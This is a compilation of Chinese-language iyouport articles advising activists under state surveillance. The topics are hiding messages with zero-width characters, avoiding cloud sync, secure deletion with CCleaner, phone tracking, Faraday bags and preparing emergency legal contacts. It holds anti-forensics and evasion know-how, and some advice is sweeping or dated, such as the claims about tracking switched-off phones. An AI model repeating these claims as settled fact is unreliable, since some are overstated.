€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â
€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â
€‹ï»¿â€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â

```
€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€‹This is some confidential text that
you really shouldn't be sharing anywhere else.
```

通过更改文档的编码实际上可以暴露零宽度字符，这些字符依靠Unicode和UTF-8。现在零宽度字符看起来像是乱七八糟的东西，在阅读文档时很容易找到。

零宽度字符非常适合隐藏消息

「图」

零宽度字符是一个有用的工具。但是，绝对不要忘记它们的局限性。如果将它们用作秘密通信方式，您应始终记住对其进行加密。否则就是相当于下了一个巨大的赌注 “没有人会去寻找隐藏的消息”。〇

Use Zero-Width Characters to Hide Secret Messages in Text (& Even Reveal Leaks)

原文

手机应该有且只有一个用途：在敌对环境中保护自己（3） - iyouport

护盾（AS）自我保护措施-技术技巧以防身

【2020年11月4日存档】操作习惯比软件更重要！

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《来自人身的威胁：如何在敌对环境中保护自己（1）》
- 《最低程度的技术性获得最大幅度的安全提升：如何在敌对环境中保护自己（2）》

本文将继续介绍一些原则和技巧。

自动登录与交叉服务登录的危险

「图」

自动登录有很大的安全隐患，特别是当进入了一个账户就能进入同一个服务商的其他账户的情况。 比如在浏览器登录了 Gmail 后，不用重新登录就能进入到 google drive (云存储服务) 和 Youtube 等。

同样的情况也适用于其他家族式服务商，比如苹果、微软等等。

最好的方式来避免这类情况就是尽量一家公司只使用一个服务。比如您在用 Gmail，那云存储的服务就不要用 Google Drive，这样能避免自动登录和账户同步的威胁。

此外，绝不要启用任何邮箱或云服务的自动登录和同步服务。

现在的很多服务都擅于用同步服务（Auto-sync），比如您在手机中使用了 Chorme，再在电脑的 Chrome 浏览器中登录，如果没有禁用同步功能， Google 就会将这两个不同设备中的浏览器信息同步合

并。

在电脑中保存的书签都会出现在您的手机中，浏览器历史记录、保存的密码等等都会被同步。这是一个很大的问题，不要用账号登录您的工作浏览器。

尽可能不使用云

「图」

云存储通常是指信息的线上存储。有些云服务只用于工作文档的备份，有些用于更新和存储电脑内的设置和程序，还有些如协作平台在运行，可以用来与他人分享文档以及同时编辑等。

请注意，一般来说线上存储都不安全。鉴于这个原因，敏感工作文件绝不要使用 OneDrive (Windows), iCloud (Mac)和 Google Drive 服务。

📌 最好的是，构建自己的云，方法在这里《如何打造自己的云，逃离监视资本主义：Nextcloud 入门》。

您可能不知道自己已经有了云服务。比如，如果您有 Gmail 那就肯定有 Google Drive， 如果在用 Mac 电脑，那就是有 iCloud，如果是在用 Windows系统或是用 Hotmail，那一定有 OneDrive，很多的这些云服务都是随着手机和电脑进行预先安装的。

首先，全面检查您的手机和电脑，看有哪些服务和App被安装和启用了，没有使用的都应该设置禁用。特别是现在的手机都是自带保存照片、视频和文档等个人信息的配置，这些都可能会成为威胁，特别是在手机里的这些程序几乎都是不需要输入用户名和密码就能进入的。

移除和卸载那些您不会使用到的云服务。

其次，不要依赖于用手机里的App进入云存储。App确实很方便，但很容易带来风险。任何拿到您的手机或电脑的人都能轻易发现您在使用什么服务，然后强迫您交出用户名和密码。

记得要用 *工作浏览器* 通过VPN登录到云服务（见上一集中的内容）。

不论如何，至少不要使用这个公司提供的云服务。

向正处于安全威胁的人发送信息

「图」

如果您需要向某个可能正处于安全威胁的人发送信息，不管是问问题、聊天或给予指示，都应该以尽量减小潜在风险的方式。

这个人可能正面临被拘留或绑架的风险，也可能已经成为网络攻击的目标，或者仅仅在于您并不完全信赖此人能安全的保障您所发送的信息。毕竟不是 所有的人都会遵循安全的存储信息的步骤，这样一来您自己是否能够以最小化潜在风险的方式发送信息就显得尤其重要了。

您应该尽可能发送内嵌的消息：就是内容在邮件的正文内而不是用一个附件的形式。如果不是特别的有必要都不要使用附件。如果非得用附件，则尽量减少附件里的内容，在添加附件前将文档内的元数据清除掉。

发送可以自动销毁的邮件

「图」

ProtonMail 因为自动销毁功能受到好评。类似的服务如 Signal，也是推荐的。您可以在给某人写一 封邮件时设置一个时间，这个时间从您发出这封邮件时就开始计时，这一点很重要，时间是由您发出邮件时开始计时，而不是从读取时开始计时。

您可以设置一个合适的时间，比如一 小时或一天等，这个时间点一到，邮件就会被自动销毁，而且是在您与收件人双方同时销毁。确保当您发送了这样一个安全邮件时，收件人能及时的读取邮件。

另外一个优点在于，就算您的收件人不是 ProtonMail 的账户，也仍能发送高度安全的自动销毁功能邮件。

收件人会收到一封邮件告知如何取得这个 ProtonMail 的邮件内容。一旦这个预设的自动销毁时间已过，这个读取 ProtonMail 的链接即失效，也就是这些信息已经被自动销毁了。

在邮件中的附件也会被销毁，不过，如果之前已经从链接中下载了的文件就不会被自动删除，所以，尽可能的不要添加附件发送。

使用自动销毁的功能意味着您不需要担心收件人是否有严格遵循安全

使用电脑的步骤，比如 删除邮件的习惯，或是坚持零收件箱策略等（如前文所述），因为您知道在这个设置的时效一过，不管收件人的行为如何，这个邮件就会被自动删除。

如果您刚发出邮件，对方收件人就被警察带走了，您发送的信息也仍然会在时效内被自动删除，当然还是希望在被邪恶的第三方看到之前。

在真正有必要的时候才添加附件

「图」

任何文档中都包含比您想象的要多的信息。不止是文档中的内容，还有元数据。

元数据所包含的信息是一旦您建立了一个文档，建立文档的这部手机或电脑的型号、用户名、地理位置，甚至是包含有的照片因为手机自动面部识别功能所标注的名字等。

如果您确实需要建立一个文件作为附件发送，要考虑到下面几个点：

- 不要包含照片、Excel、图表等信息，在保存文档前检查和删除所有元数据；
- 不要发送 Word、excel 等形式的附件，将文档转换成PDF再发送；
- 为 PDF 文件设置密码保护；

当您将 word 或 excel 文件转换成PDF格式时，会有为文件设置密码的选项，建议您将这个选项作为必要的操作，然后使用安全的聊天软件，如 Signal、wire 等，告知您的收件人打开文件的密码。

- 不要错过《如何在Mac上加密PDF》

有密码保护的文件就像被清空的收件箱，能保障收件人避免受到具有伤害性 的攻击，毕竟他人想要获取它有一定的限制。大部分您收到的附件一般也不需要一直保留，一旦用完附件中的信息，比如更新一个档案、添加到一篇文章、完成一份上诉状 等等，就应该安全地将这个附件档案删掉。

最后，记得总是遵循 “零收件箱策略”，也将这个习惯普及给其他与您频繁联系并可能面临风险的朋友。“零收件箱策略” 是保障您的人身安

全的重要武器。

尤其不要忘记元数据问题，在这里看到《如何从 Microsoft Office 文档中完全删除那些暴露你身份的元数据？》。

要彻底删除

「图」

良好的IT使用习惯、强大的密码和加密空间都是非常好的保护，但是，如果您无法安全地删除文件，以上这些都将无效。

当您点击删除文件、或清空回收站时，实际上信息都没有彻底被删除，您以为昨天或是两年以前已经被删掉的文件，也仍然躺在那儿随时等着被任何心怀不轨的人翻出来。

对那些有必要保护信息和资料的人，必须说如何彻底删除是一个最大的问题。被删除的文件也许无法在搜索栏中被找到，但其实它们仍然躺在那儿，很轻易就能被警察或间谍找到，操作方法并不难。在下面看到：

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》

删除的概念对于很多人来说还是一个知识盲点。就算很多对于信息安全有一定认识的人，也常常忽视了安全删除的问题。

- 在这里看到删除方法介绍《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》

除上面文章中介绍的方法之外，还有一种更简单的方法。

CCleaner 是一个能帮助解决很多问题的程序。它不仅能确保删除电脑所收集的各种信息，比如您操作的痕迹、cookies、临时文件、在编辑的word文档数据等等，而且还能确保擦除电脑的空闲空间和 “已删除” 的文件。

注意：如果您用的是SSD固态硬盘的电脑，“擦除空闲空间” 的功能是没有作用的。不过，除此之外其他的功能如擦除痕迹和日志等都可以正常使用。

打开程序第一眼就能看见清洁器的图标，在清洁器图标的右边也能看

到两个标签，一个是运行系统 (Windows 或 Mac OSX)，另一个是应用程序。

在 Windows (或 Mac OSX) 的下方点选所有的框，这些是在您运行这个程序时会被安全删除的所有不同类型的信息。

在Win10版本中这个菜单的最下方是擦除空闲空间的选项（先不要点选这些，特别是如果您用的是SSD固态硬盘的话）。

在应用程序标签下能发现更多的安全删除选项。具体的选项取决于您的电脑中所安装的程序。在这里您可以勾选所有框，不过如果不打算删除个人使用的浏览器痕迹，则可以不点选那个浏览器的框。

或是依照对这个浏览器的具体需求点选。（比如可以删除浏览器历史纪录，但是不删除已保存的登录信息）。

请注意：如果您的加密空间（硬盘）在启动 CCleaner 时是开启/加载的，那这个驱动器清单中也会显示出来，没有必要选中加密空间，一般情况就只需要选通常的C盘（系统盘）即可。

Win10版本 “工具” 选项下还有一个驱动器擦除器的标签，这个功能是在不用运行整个清洁器的情况下，仅擦除空闲空间 —— 也就是那些本来应该被删掉了的旧文件。请记得点选 “仅剩余空间”，否则电脑里面所有现存的数据也会被删掉。

现在已经完成了设置，可以先试着运行一次。回到清洁器标签下，点击分析。在快速的分析后，会显示哪些数据会被删除，点击运行清洁器删除这些文件。

按照目前上面的步骤设置， 清洁器内勾选了擦除空闲空间选项，这会花费很长时间。如果您只打算清理操作系统的痕迹或浏览器的上网活动痕迹等，可以再回到清洁器的选项内取消勾选擦除空闲空间选项，重新分析。

如果开启分析时没有关闭已打开的 word 文档、相关的程序或浏览器，会被要求先关闭它们，否则 CCleaner 无法清理。

关于手机安全

「图」

您肯定已经知道了这个道理：手机从来都不安全。如果您有担心或在

需要提高安全性的情况下，都不要信赖手机。关机没有用，只要您的电池还在手机里，您就仍然可以被追踪到。

如果您尚未了解这点，可以从下面的文章中看到：

- 《你的手机知道一切，并且很愿意告诉警察：法律不保护你》
- 《中国已经将智能手机武器化：这就是为什么您应该关注》
- 《你的手机如何背叛了民主？》
- 《你的手机就是秘密监视设备—Snowden访谈视频》

如果您已经是政府的眼中钉，当然就有更多的方式令他们设法连接您的手机，浏览您的文件、截屏等等。如今做到这件事非常容易，并不需要成为一个职业黑客。

由于这些威胁，您的手机在通常情况下应该仅仅作为一个通讯设备，而不是一个小型的工作电脑。

千万不要 用手机下载或存储敏感的文件、文档和照片。彻底的从手机中删除文件是非常困难的， 仅仅是点击 “删除文件” 并不意味着真正的移除了，因此，绝对不要用手机存储（哪怕只是暂时存储）任何工作文件。

- 《如何彻底擦除您的Android手机？》

至于中间人攻击，那就更常见了，比如众所周知的黄貂鱼，在大型集会/抗议现场警察经常使用这种方法来监视和追捕参与者，他们甚至《将黄貂鱼放在飞机上一次性监控成千上万部手机》。

- 《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》

最后，除了这些因为手机本身的功能带来的威胁之外，那些通过手机下载的App也能允许同样类型的连接，**App**甚至更容易带来威胁。

要当心您安装的程序，要清楚地意识到任何中国的公司对中国用户来说都是危险的，因为警方能直接连接到这些公司和他们的服务，这些公司也不会在警方需要的情况下保护您。

准确说，所有寡头公司都不会在被警察和间谍要求的情况下保护您 —— 被硅谷出卖的吹哨人被判处50年监禁，见《他们是如何抓捕说真话的人？- 灾难和教训》。

如果您必须使用这些寡头公司的服务，建议将它们单独放在一个特定

的设备上，该设备中不应该存在任何对您来说重要的内容。而您的敏感工作需要使用另一台设备，此设备上不应该有这些寡头公司的服务。

📌 在下面看到替代品列表：

- 《安全手册：这里是你需要的几乎所有基本安全上网工具（1）》
- 《安全工具箱补充版：分类工具列表（2）》

此外，如果您怀疑自己的手机遭受了间谍软件，几个迹象可以帮助您判断，见《如何识别手机上的恶意软件？》。

“我的手机被窃听了吗”

「图」

在以前，要找出电话有没有被窃听是件挺容易的事，如果您的电话线被窃听，通常很容易听见重复的喀喇声，或是手机里能听见不规则的干扰噪音。

但现在，更多的窃听都是通过隐藏的 App 进行的，更像是黑客而不是传统的电话窃听。不管怎样，传统的电话窃听也在继续的被广泛使用，于是，有一些事项是您需要注意的。

通常来说，如果您的电话线被监听了，它会发出一些噪音，因为这条线被别的窃听者分接了。如果您小时候家里是那种一条电话线被分接了好几个电话的情况，您会知道如果您在通话时家里其他的人拿起了另一个电话，您会很明显听到电话里噪音背景的改变。

所以，要了解自己的电话是否有被窃听，应该要注意在您打电话给固定的某个人时听筒里的正常噪音是怎样的。如果您发现噪音的类型有变，就需要引起注意了。

不管怎样，打电话给不同的人和地点都会有些许不同的噪音，所以您要用一个特定的人和电话来试，看看是否发现什么变化，典型的声响有：

- 重复地喀喇声
- 稳定的噪音干扰
- 尖锐的嗡嗡声，测试的时候确保不要靠近其他电子设备（比如

电视、路由器、电脑等），否则可能会有干扰

如果您的电话是通过手机**App**或后台进程被窃听的，而不是通过电话线的分接您你可以通过以下这些特点来分辨：

- 随机的短消息、包括随机的字符和数字等 (监听软件内不小心流出消息的 bug) ：
- 超长的大量电池消耗
- 突然跳出广告
- 手机用起来慢、卡和不稳定
- 流量使用增多
- 手机过热

如果您使用手机，请注意

「图」

和电脑不一样，手机无法有效的保障里面的东西。尽管您已经加密过（现在大部分的手机都是自动加密的），但也没有比这更高端的方法了。

要保障手机安全，问题不在于丢失手机，而在于如果您被警方带走他们强迫您交出手机的解锁密码。

由于手机缺乏多层保护，加上经常性的使用App连接服务，而不是使用浏览器（也无法彻底清除手机上网痕迹），如果您被迫交出解锁密码，警察就不仅仅是能进入您的手机，而是手机内所安装的所有App服务，以及那些近期使用浏览器上网遗留的内容。他们可以用您的手机作为后门。

不要让他们用手机威胁您的安全 —— 也就是不要将手机当成您的工作电脑。

- 这篇文章中解释的手机取证技术是目前最好的和最普遍使用的，《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》

简单说，绝不要存储任何敏感文件在手机里，也不要把手机当作文件转移的工具，更不要用手机进入任何您已经在电脑中使用的敏感操作相关的服务。

您的手机可以是非常高效的通讯工具。关键是手机仅仅需要用于这个目的，而不是任何其他的功能。

要想实现这个唯一目的，必须使用安全的应用程序 —— 能自动销毁会话的应用程序，防止外人进入您的手机后从历史记录中挖到对您不利的信息。端对端的加密聊天程序结合自动销毁功能，就是您判断是否值得使用的基本标准。

中断通讯

「图」

中断通讯（Going dark）指的是将手机任何类型的数据传输都切断，这是唯一能确保手机不会对您造成不利的方式。

如果您正在进行一个私密的会议，要确保没有被监听，这是唯一的解决办法。

同样，如果您不希望被摄像头偷偷记录，或是被他人知道您的地理位置，都应该让手机 “中断通讯”。

中断的方法有几种，最简单的方式就是开启飞行模式，让手机停止发送网络传输（手机跟信号塔窃窃私语的过程）、Wi-Fi传输、还有蓝牙。

这个方法有一个弱点，那就是可能在您不知道的情况下手机内某个App的数据传输被启用了 (只要您的手机被列为目标就能被暗中启用)。

另一个是，只要GPS为启用状态，所有的地理位置都会被记录下来，一旦关闭飞行模式，地理位置数据就能通过这个App发送出去。

另一个中断通讯的方式是一个非常简单的习惯，就是用法拉第袋或铝锡箔纸。

很多在敏感领域工作的人都会带上几包铝锡箔纸。用两层铝锡箔纸将手机的每个部位包住，就能将传输切断。

这是中断通讯的最好办法。当然法拉第袋也可以，并且不会太引人注意。

如果用铝锡箔纸，将手机用两层铝锡箔包起来，再试着给这个手机打

电话、 发信息或邮件，它应该无法收到。如果能收到，就再加一层。总之，如果您打算采用这个方式，就算只是备不时之需，也请记得在使用前先测试一下。

自动同步和云存储

「图」

另一个严重的手机安全威胁是很多的服务都会自动登录。这些App通常和在浏览器上的服务相比都只有比较简单的界面。但是，进入服务通常都是不需要输入密码的。

只要进入到您的手机就表示进入了里面安装的所有服务，千万别低估它的威胁。所以，绝不要安装一般通过电脑中的工作浏览器进入服务的**App**程序。

也不要在工作电脑和手机上同时使用云存储服务或其他的线上服务，最多使用分开的账户和服务。比方说您坚持要使用云存储，那就在工作的电脑上用 Google drive，在手机里使用另外的如 Dropbox 或 OneDrive 存储。也就是保持您的工作电脑和手机使用的服务完全分开。

因此安全的关键是限制手机的使用方式，将手机看作是一个最简单的通讯设备，除了通讯外不用于任何其他目的。不要用手机搜集重要的资料、更不要用手机下载文件和存储重要敏感文件。

关于地理位置追踪的提醒

「图」

要知道如果您非常迫切的希望躲避追踪，也就是已经被警察、国安局的人跟上了，单单让手 机 “切断通讯” 是解决不了问题的。

您的车子会自动被一路上的监视摄像头记录下每一个动向，您使用的银行储蓄卡或信用卡、任何用您的名字注册的卡，都能被当作地理位置追踪的入口。朋友发布的您的照片也能给出拍照的时间和地理位置，这些都很容易被自动分析识别出。所以只要是有人想要追踪你的位置，这些资讯就足够了。

- 您可以在 “侦探挑战” 游戏中看到各种可能的追踪监视追踪手段，这些都是您应该努力避免的失误。该系列内容在 列表-5 中

有单独板块

长时间的 “切断通讯” 几乎是不太可能的，甚至是短期的也非常困难，除非您准备好了大量的现金和交通工具等等。现在大型商场的普通监视摄像头都能快速的识别出脸部的轮廓。

手机是通过独有的识别码来辨认的，一个来自手机硬盘本身，另一个来自SIM卡。这个码叫做 IMEI (手机) 和 IMSI (SIM卡) 。这些号码是由手机塔和手机服务商注册的，比如中国电信。

您无法隐藏或改变这些独有的识别码，如果您的手机号码已经被恶意者掌握，那他们就很有可能至少知道了您的IMSI码，如果您的手机被没收，警察就能知道您的IMEI码并找到您存储的数据。

这样，您在过去很长的一段时期拨过的号码、去过的地方、数据的使用等等都能被找出来。

再次强调，手机是一个很大的威胁，不应该用于任何敏感的工作目的。

也就是说，如果您已经成为了被跟踪的目标，上面提到的多种方法都能被采用为进行追踪的方法，所以绝不要让自己陷入被追踪的情形，工作很重要，但是您的安全必须放在首位。

- 请注意这里的内容！《如果您已成为目标：来自内部和外部的威胁和抵御》

我们在已经完成的 “难以被追踪” 和 “完美隐身” 系列中介绍的所有内容都很重要，都是您需要注意的部分；前者适用于普通的敏感人士、从事敏感工作的活动家、以及任何希望保护自己安全的人；后者适用于已经被警察和间谍盯上的人、正在准备脱身的人。两个系列在 列表-1 中有单独板块汇总。

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》
- 《少即是多：变得难以被追踪的简单方法（5）》

- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》
- 《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》
- 《8个步骤实现基本匿名实践：变得难以被追踪的简单方法（9）》
- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》

如果 …… 怎么办

「图」

尽管您已经很清楚保障手机安全的困难性，但难免可能需要用到手机浏览器搜索资料、用浏览器登录邮箱或账户、或是用手机储存文件和数据的时候，请作出以下预防。

只要使用浏览器，都必须确保先进入浏览器的设置区域，保证密码没有被保存，所有的表单自动填充功能都设置为“不允许”，在使用结束后，浏览器设置里选择“清除数据”。

当然，使用Tor是更好的，比如《如何在Android上设置和使用Tor》。

如果不小心在手机里存储了任何文件或数据，安装一个擦除程序，在移除或删除了文件和数据后运行这个程序。

但是请注意，通常这个方法并不像在电脑中那样有效，只能对付一些很简易的取证方法。

针对安卓手机的清除工具是 **Secure Eraser**，苹果的是 **iShredder** (仅限英文版)。也有其他的类似 App 可选。如果您的手机有SD卡，则需要确保在SD卡和手机的内部硬盘都运行了“擦除空闲空间”程序。

这只是一点补救。总之，最好是不要用手机做重要的操作。〇

—— 未完待续 ——

原文

为最坏的情况做准备，迎接最好的结果：在敌对环境中保护自己（4） - iyouport

护盾（AS）自我保护措施-技术技巧以防身

【2020年11月6日存档】预防性安全的目标是帮助您用实用性的、非信息安全相关的步骤来确保您的安全，为最坏的情况作好预备工作。

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《来自人身的威胁：如何在敌对环境中保护自己（1）》
- 《最低程度的技术性获得最大幅度的安全提升：如何在敌对环境中保护自己（2）》
- 《手机应该有且只有一个用途：在敌对环境中保护自己（3）》

关注本系列内容的读者应该都对安全问题有所思考，您可能已经在担心现在或未来自己会遭遇这类威胁，尤其是，您很可能生活在一个警察国家。

不论您遭遇这些威胁的几率有多大，也最好不要忽视潜在的危险。本系列最后一集将介绍一些操作步骤，这些操作将对您未来的安全具有重要作用。

您可以根据这里的清单构建一个文档，将所有重要的内容都包含进去，以及任何您希望提供的信息。

步骤1：您可能面临的威胁是什么

「图」

描述出您可能会面临的潜在威胁，威胁您的人是基于何种目的？

比如，您是一名公民调查人员，是否有可能因为调查和报道一个敏感

事件而导致短期被拘留？或您的资料被没收、并被警察追踪到您的消息来源？或更严重的逮捕或指控令您无法继续工作?

或者，您正在参加一个新的反抗组织被警方发现了吗？如果您并不是该组织的领导人，警察会如何利用你挖到组织领导人的身份？您所拥有的哪些信息容易遭受这种利用？如果拒绝与警方合作，您还有哪些方法能帮助脱身？……

不同的威胁类型需要不同的准备工作。您需要清楚地知道，您所做的哪一类行为、或者和哪个人一起工作最有可能提高您所面临的风险？是您所掌握的真相令您面临风险，还是您正在调查的方向非常敏感？

一旦你清楚自己的行为可能招致的报复，这样就便于识别可能性的报复来源了。

您是否清楚谁最有可能是加害者（当地政府？警察？国安？）；您是否知道如果他们采取对您不利的行动，可能会用什么方式、以及何种指控？……

请列出这些问题的答案，越全面越好，这样才能便于在有需要的情况下提供迅速的援助。

步骤2：您需要什么样的援助

「图」

基于上面各种问题，您已经分析了自身的安全状况，您认为万一出现危险，什么样的援助是您会需要的？在达到某种事态下，您是否认为受到国际媒体的关注是必要的？如果是，以什么方式？

比如一旦被拘留，您是否认为只有在超过一周之后再让国际社会发声为好，还是希望国内的社交媒体关注，或不需要媒体关注而是更愿意得到低调的外交或联合国的援助？

明白这些不同的交涉在不同的情况下有不同的作用很重要，您应该与您信任的同事聊聊这些选择，因为他们可能会在危难之时成为帮你说话的人。

除此之外，有其他形式的援助需求吗？

您是否有家人依赖于您的经济来源？当你被拘留或强迫失踪的情况下会需要到一些援助的，具体是哪方面的援助，经济、医药、学费或租

房等？

另外，如果被拘留，甚至更糟的状况，您是否需要法律援助？是否有任何具体的法律需求？

在什么情况下你可能会放弃指派自己的律师的权利？你是否已经有了在最需要的时候可以帮你辩护的律师？如果有的话，他/她是谁？权利组织可以如何联系到您的律师？他是否已经有了你的委托书？

📌 如果这些考量您都已经有了答案，您应该写下一份无论如何都要自己指派律师的说明（或录制视频），明确列出在任何情况下，您都不会接受一个官派律师，并且将这份说明交给不止一个您最信任的朋友或同事。

步骤3：指派一名您足够信任的、风险级别足够低的联络人

「图」

您的紧急联络人会负责保存您提供的这些信息，在有事发生的时候将它们分享给能帮助您的人。

以上提到的所有这些材料都会交给这位安全联络人，这个人应该足够明确在出事时他应该怎么做。

还要指派一位在有需要的时候能够签署律师委托书的家庭成员。在选择之前先想一想，因为大多数家属在事发后一开始都会很迟疑，他们不知道在这种情形下该如何去应对，而且有时候警方也会骚扰或拘留当事人的家人以作报复和威胁，所以，确保在选择家庭成员前先和他们商量一下，让家人明白可能面临的风险。

最好选一个理解您的工作的家人，告诉他，一旦有事发生，让他不要迟疑地签署委托书。将您的安全联络人和这位可以签委托书的家人的联系方式互相交换，让他们彼此知道对方。

如上，如果您不得不实名工作或者出现在敏感的现场，您需要委派的可信的联络人需要是持续匿名工作的人，此人应该安全意识足够好，尤其是足够理解和支持您的工作。

在此之前，您与这位联络人的联系应该足够保密，以避免被当局连锅端。

- 您可以在列表-5 “护盾” 中看到保持匿名信和安全通信的诸多方

法

以下是一个清单，可以作为您准备所有资料的指南 —— 不论您是录制视频，还是把他们写下来，都需要包括这些内容。如果录制视频，请记得保存好完整的元数据，以防止当权者狡辩。

1. 个人简介

2. 详述您自己和您的工作 ，尽量包括可能招致打击报复的主要活动的具体日期，这点尤其能表明警方对你采取的措施是由于对您从事的人权工作的报复，这对于外界对您个人的协助作用很大，需要重视。

3. 已经承诺提供法律援助的指派律师联系信息 (最好是写一个简介)

4. 紧急联络人的联系信息 (最好是写一个简介)

5. 已指派的签署委托书的家庭成员的联系信息 (最好是写一个简介)

6. 任何相关朋友和家人的联系方式 (最好是写一个简介)

7. 任何您认识的记者和外交官、以及其他您觉得会参与援助的人的联系信息（最好是写一个简介）

8. 一篇带有联系方式的相关同事或工作机构的概述 (这一条可能会带来额外的保护能力以及威胁识别价值)

9. 准备几张在公众或媒体声援需要时可以采用的照片，您将有在媒体上的形象主控权。

预备材料

「图」

预备材料是在万一您被拘留或被逮捕的情况下将会公布的东西，也要提前特别说明：这些材料您希望以什么形式/什么时候/如何公开。

请参考如下范例，录制几个短视频应该会很有帮助。

要准备哪些预备材料完全取决于您自己，要基于您的敏感工作和您预想中可能面临的威胁而定，比如：

1、被强迫认罪现象已经很普遍。比如 桂民海，一个瑞典籍公民，被

从泰国劫持到中国，在他的被迫认罪视频中他被要求说他不希望得到瑞典政府的任何外交协助，以及他希望放弃自己的瑞典国籍。

假如他预先已经录制好了一个视频，强调如果自己出现在中国，都是因为被跨国绑架（他并没有去中国的有效证件），如果他声称永远不会放弃他的瑞典国际或拒绝外交协助，这将是一个非常有力的反击，同时也会增加外界对 此案的关注度，因而增加援助程度。

2、很多人权人士被带走后被不允许与家人和律师见面或通讯，警方声称是这些人权人士 “自己说” 他们不想要自己的律师，而要用政府指定的律师。

如果此人已经有一个提前录好的视频，清晰的声明他永远也不会放弃自己指派律师的权利，永远也不会接受一个政府指定的律师，当局的暗中操纵就将失败。

3、如果您大概知道警方会从您工作的哪一方面入手对付您，您可以预录一个视频说明这份工作是怎么样的、为什么是完完全全合法的？如果您之前因为工作有被威胁或警告过， 将这些受迫害的信息也记录下来。

4、如果您认为警方可能指控您非法组织NGO工作，或指控您金钱上的疏忽或贪污？那您可能有必要将财务报告等资料复制下来发给您的安全联络人，这样也能应对此类指控。

重要提示：如果您提供的档案发生了任何改变，比如地址、安全联络人的联系方式、家庭状况和您的工作，特别是在您的安全威胁有了阶段性的改变的情况下，这个文档应该及时更新您的最新状态和变更记录，您也应该重新发送新的版本给安全联络人。

最后

「图」

希望您可以顺利开展工作，永远不会遇到这种危机时刻；但是做好准备，将在很大程度上帮助您应对威胁。

我们介绍过很多安全知识，都可以帮助您防御追踪迫害，但当局的手段在不断进化中，万一您操作失误而暴露身份，您必须能有PlanB 方案。这就是本文的目的。

如果您被您的朋友选为紧急联络人，您需要和对方协商一套合理的策略，本文可作为参考，您也可以根据自己的环境更具体地添加内容。○

原文

在不自由中创造自己的自由：变得难以被追踪的简单方法（1） - iyouport

难以被追踪难以被追踪（完成）

【 2020年3月11日存档】隐私保护是什么？或者说防御是什么？是懦弱吗？是被动？并不是。如果你能在不自由的世界里为自己和同道营造一片自由空间，你活着这件事本身，就是反抗。这里是一个新系列，给普通人的帮助：

“应对一个不自由世界的唯一方法就是让自己变得自由，以至于你的存在本身就是一种有力的反抗。” —— Albert Camus

这是一个分为多部分的系列文章，其中每个部分都包含独特的信息，所有这些信息都指向一个共同的主题：争取自由的运动中的自我保护。

您肯定理解这是什么意思。那么就不废话了，现在开始。不要低估政府的追踪监视能力。这段文字是上个月发布于中国网络的，它指的是追踪病毒传染，但是请不要误会，同样的技术一直在追踪任何当局想要的人 —— 只要您携带手机出门，结果就是这样

强制性隐私限制

「图」

每年的1月28日是国际数据隐私日，其实这个“日”挺扯蛋的，它容易令人产生误解，似乎只有在那一天或一周内隐私才是有价值的东西。肯定不是这样。

每一天都应该是隐私日，尤其是在如今这个史无前例的大规模间谍时代。

互联网人的在线隐私几乎不存在，并且每况愈下。在监视资本主义的世界里，几乎每天都能看到新的联网技术旨在收集用户的数据，并且

该产品或 App 只是粗略地制定了所谓的隐私权政策和服务条款，只为了证明把我们每个人的数据货币化的合理性。

这一切是如此荒谬，没有人应该接受它作为现实。但人们依旧没能联合起来抵抗，可见的时间内很可能无法终结监视资本主义和政府的间谍行为。

于是倡导者开始致力于教会人们自己保护自己。不要通过在线支付和银行卡购买任何重要的东西 —— 这是最基本的。因为疯子太多了，而且他们正在掌权权力

你需要亲自动手帮助自己变得难以被追踪

「图」

其实看剧都能学到一些东西。比如美剧《Mr. Robot》里面的虚构人物艾略特·奥尔德森（Elliot Alderson），观众可以跟他学到很多难以被追踪的知识。

1、他总能保持一种健康的偏执状态，这种心态能迫使你去考虑安全性的问题 —— 强迫自己思考如何躲避追踪。

- 比如《礼貌的偏执》
- 再比如《偏执的保密》

2、他竭尽全力隐藏自己的研究，使用的方法就是隐写术，将其文件秘密地嵌入.mp3音乐专辑里；以便一旦有人发现它们，也不会被怀疑其中是否包含了隐藏的文件。

- 《关于隐写术的使用方法（1）》
- 《使用隐写术发送秘密消息（2）简易教程》

3、他的操作安全性（**OpSec**）很强，这意味着他没有俗话说的“沉船”的纰漏；他不会随意向自己不认识的或不信任的人提供任何信息。

- 《Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？》
